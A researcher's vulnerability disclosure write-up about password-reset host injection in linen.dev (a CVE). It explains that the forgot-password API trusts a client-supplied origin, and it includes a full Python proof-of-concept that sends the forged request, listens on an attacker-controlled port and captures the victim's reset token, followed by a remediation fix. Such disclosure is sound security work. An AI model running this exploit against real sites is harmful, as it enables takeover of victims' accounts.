As I delved deeper and deeper into the world of capture the flag competitions, I soon got interested in doing research on real world applications. While exploring various Github repos, I came across linen.dev, and discovered this account takeover vulnerability. Though the CVSS score is much higher than it should be, the CVE entry is available here.
Summary
An attacker can supply an arbitrary domain in the origin key of a post request to /api/forgot-password
. This allows an attacker to set the domain of a password reset link, allowing them to steal the victim’s password reset token. Note: this does require user to click the link sent to their email. The origin provided in the post request is passed straight into the ResetPasswordMailer
function call. Note: Works for both account types(password and passwordless)
Explanation
On line 9, a email and origin key are taken straight from a post request and directly passed into the ResetPasswordMailer.send()
function on line 32:
Our origin is passed into ReserPasswordMailer.send() as host
, which is part of the URL being created on line 12:
Here’s how the email will look with a modified origin:
And the post request used to trigger the password reset:
Proof of Concept
The following proof of concept script can be ran to automatically exploit the application and steal the victims password reset token:
import requests
import argparse
from pwn import *
def parse_arguments():
"""Parse command line arguments."""
parser = argparse.ArgumentParser(description='linen.dev 1.0.0 Account Takeover (Note: POC only supports HTTP)')
parser.add_argument("host", help="Application ip/port (e.g., http://blah.com:80)")
parser.add_argument("domain", help="Domain to send credentials to")
parser.add_argument("email", help="Email of the victim")
return parser.parse_args()
def send_email(host, domain, email):
"""Send an email reset request."""
headers = {'Host': host, 'Content-Type': 'text/plain;charset=UTF-8'}
data = {"email": email, "origin": domain}
response = requests.post(f'{host}/api/forgot-password', headers=headers, json=data, verify=False)
return response.status_code
def receive_http_line(domain):
"""Receive HTTP line using pwntools."""
port = int(domain.split(':')[1])
#Disable logs
context.log_level = 'error'
server = listen(port, "0.0.0.0")
conn = server.wait_for_connection()
message = conn.recvline().decode()
path = message.split(" ")[1][1:] # Parse the HTTP path
return requests.utils.unquote(path)
def main():
args = parse_arguments()
status_code = send_email(args.host, args.domain, args.email)
if status_code != 200:
print("[-] Email failed to send")
return
print("[-] Email sent successfully")
print("[-] Waiting for victim to click the url...")
try:
result = receive_http_line(args.domain)
print(f'[-] Victim clicked the url! The password reset link for {args.email} is below:')
print(f'{args.host}/{result}')
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
Output:
Remediation Suggestions
Modify the forgot-password page to not accept the origin from the POST request body. You could do this by setting a “ROOT_URL” variable in the application’s .env
file, then modify the call to ResetPasswordMailer.send
as such:
await ResetPasswordMailer.send({
to: email,
host: process.env.ROOT_URL,
token,
});
This was my first CVE discovery; it has inspired me to continue my research into different applications. I’ll post more writeups about other CVE’s I’ve discovered in the near future.